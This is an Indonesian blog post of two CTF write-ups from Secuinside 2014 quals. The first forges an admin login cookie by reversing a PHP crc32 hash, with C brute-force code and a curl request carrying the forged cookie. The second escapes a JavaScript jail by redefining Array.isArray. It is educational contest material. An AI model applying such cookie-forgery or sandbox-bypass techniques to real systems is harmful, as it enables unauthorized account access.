Sunday, June 1, 2014

CTF Quals Secuinside 2014 Web200

Ini adalah soal yang berhasil kami selesaikan dan kami mendapatkan flagnya, tapi kami terlambat sehingga tidak sempat memasukkan flagnya untuk mendapatkan nilai. Dalam soal ini diberikan sebuah website dan source codenya.  Untuk mendapatkan FLAG, kita perlu bisa login sebagai admin:

 

if($common->islogin()){
if($common->isadmin()) $f = "Flag is : ".__FLAG__;

Dari hasil pembacaan source code, didapatkan bahwa fungsi login adalah seperti ini:

<?php
public function islogin(){
if( preg_match("/[^0-9A-Za-z]/", $_COOKIE['user_name']) ){
exit("cannot be used Special character");
}

if( $_COOKIE['user_name'] == "admin" ) return 0;

$salt = file_get_contents("../../long_salt.txt");

if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){
return 1;
}

return 0;
}
?>




Sedangkan fungsi isadmin:


<?php
public function isadmin(){
if( $this->getidx($_COOKIE['user_name']) == 1){
return 1;
}

return 0;
}
?>

Dan Fungsi getidx:


public function getidx($id){
$id = mysql_real_escape_string($id);
$info = mysql_fetch_array(mysql_query("select idx from member where id='".$id."'"));
return $info[0];
}

Terlihat bahwa SQL Injection tidak mungkin dilakukan karena sudah dilakukan escaping dengan mysql_real_escape_string. Berikutnya yang bisa dilakukan adalah mengubah cookie, karena cookie ini dipakai oleh proses login:


if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] )

Perhatikan bahwa hash(“crc32”) PHP tidak sama dengan fungsi crc32() milik php (fungsi crc32() milik PHP sama dengan hash(‘crc32b’)), tabel dan urutan operasi yang dilakukan berbeda. Kesalahan fatal ini yang menyebabkan keterlambatan menyelesaikan soal ini.


Inti operasi CRC32 adalah seperti ini:


crc = 0xFFFFFFFF;
for (i=0; i<len; i++) {
crc = (crc_32_tab[((crc) ^ (data[i])) & 0xff] ^ ((crc) >> 8))

}
crc ^= 0xffffffff;

Kita tidak tahu isi salt, dan tidak bisa membaca file saltnya. Strategi yang digunakan adalah seperti ini: kita bisa mendaftar sebagai user yang kurang dari admin (a, ad, adm, admi), lalu meneruskan proses CRCnya. Sayangnya user name tersebut semuanya sudah diambil. Akhirnya kami mengambil pendekatan lain: membuat user AdminJ (karena beberapa huruf yg lain yang dicoba sudah diambil), lalu mereverse proses CRC-nya untuk mendapatkan nilai CRC sebelumnya.


Karena tidak menemukan paper atau implementansi untuk proses tersebut, jadi perlu dipikirkan sendiri caranya. Pendekatan yang diambil sangat sederhana, fungsi untuk mendapatkan nilai berikutnya adalah:


crc_next = (crc_32_tab[((crc) ^ (data[i])) & 0xff] ^ ((crc) >> 8))


berarti nilai crc lama =


crc = (crc_32_tab[X] ^ crc_next) << 8


Kita punya nilai crc_next (crc saat ini) dan punya nilai data[i] (data terakhir yang masuk). Kita tidak tahu elemen crc_32_tab mana yang dipakai, karena nilainya diambil dari crc^data[i], tapi kita tahu bahwa nilainya pasti adalah salah satu dari 256 isi tabel crc_32_tab (lihat & 0xff), jadi kita bisa membruteforce nilai crc sebelumnya, kemungkinannya cuma 256x256 = 65536.


current_crc ^= FINAL;

for(i=0; i < 256; i++) {
uint32_t xx = current_crc ^ crc_32_tab[i];
xx = xx << 8;
for(j=0; j<256; j++) {
uint32_t _oldcrc = xx | j;
uint32_t nextcrc = UPDC32(removed, _oldcrc);
if (nextcrc==current_crc) {
//printf("Found oldCRC = %08x\n", _oldcrc ^ FINAL);
return _oldcrc ^ FINAL;
}
}

}

Dan kode lengkapnya:





Ketika login sebagai AdminJ, saya mendapatkan cookie e09847e1, yang saya masukkan ke fungsi compute_removed_str2, dengan karakter yang diremove adalah J. Hasilnya adalah de32770e


curl "http://219.240.37.153:5959/63972dfdacc8a838f618275d80d27c1d_h/" -H "Accept-Encoding: gzip,deflate,sdch" -H "Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4" -H "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" -H "Cache-Control: max-age=0" -H "Cookie: login_time=1401623428; user_name=Admin; hash=de32770e" -H "Connection: keep-alive" –compressed 

Didapatkan flagnya


       <div class=text-center> Admin Logined <br /> Flag is : fd602a942c1cd716963996cf96e87847</div> 

CTF Quals Secuinside Misc200 (JS Jail)

Soal kali ini adalah JavaScript Jail, ketika melakukan koneksi ke server, kita akan diberi prompt “>” di mana kita bisa memasukkan ekspresi javascript. Instruksi yang didapat adalah:

yohanes@olivia:~$ nc 54.178.218.50 6789 
check = checker(FLAG, safeRand);
Usage: check(your random function);

Di console JavaScript kita bisa mencetak source fungsi, dengan mengetikkan nama fungsinya, yaitu checker.


 


Ini soal yang sangat mudah: kita cuma perlu membypass pengecekan Array.isArray, dan ini bisa dilakukan dengan mendefinisikan ulang Array.isArray supaya mengembalikan 1, berikutnya kita bisa mengembalikan object yang property lengthnya adalah NaN untuk membypass loop.

yohanes@olivia:~$ nc 54.178.218.50 6789 
check = checker(FLAG, safeRand);
Usage: check(your random function);
> Array.isArray = function() {return 1;}
function () {return 1;}
> r= function() { var b=Object(); b.length=NaN; return b}
function () { var b=Object(); b.length=NaN; return b}
> check(r);
stage1
stage2
awesome! The flag is 7bb1aad810f7db430bf4f62b997a992c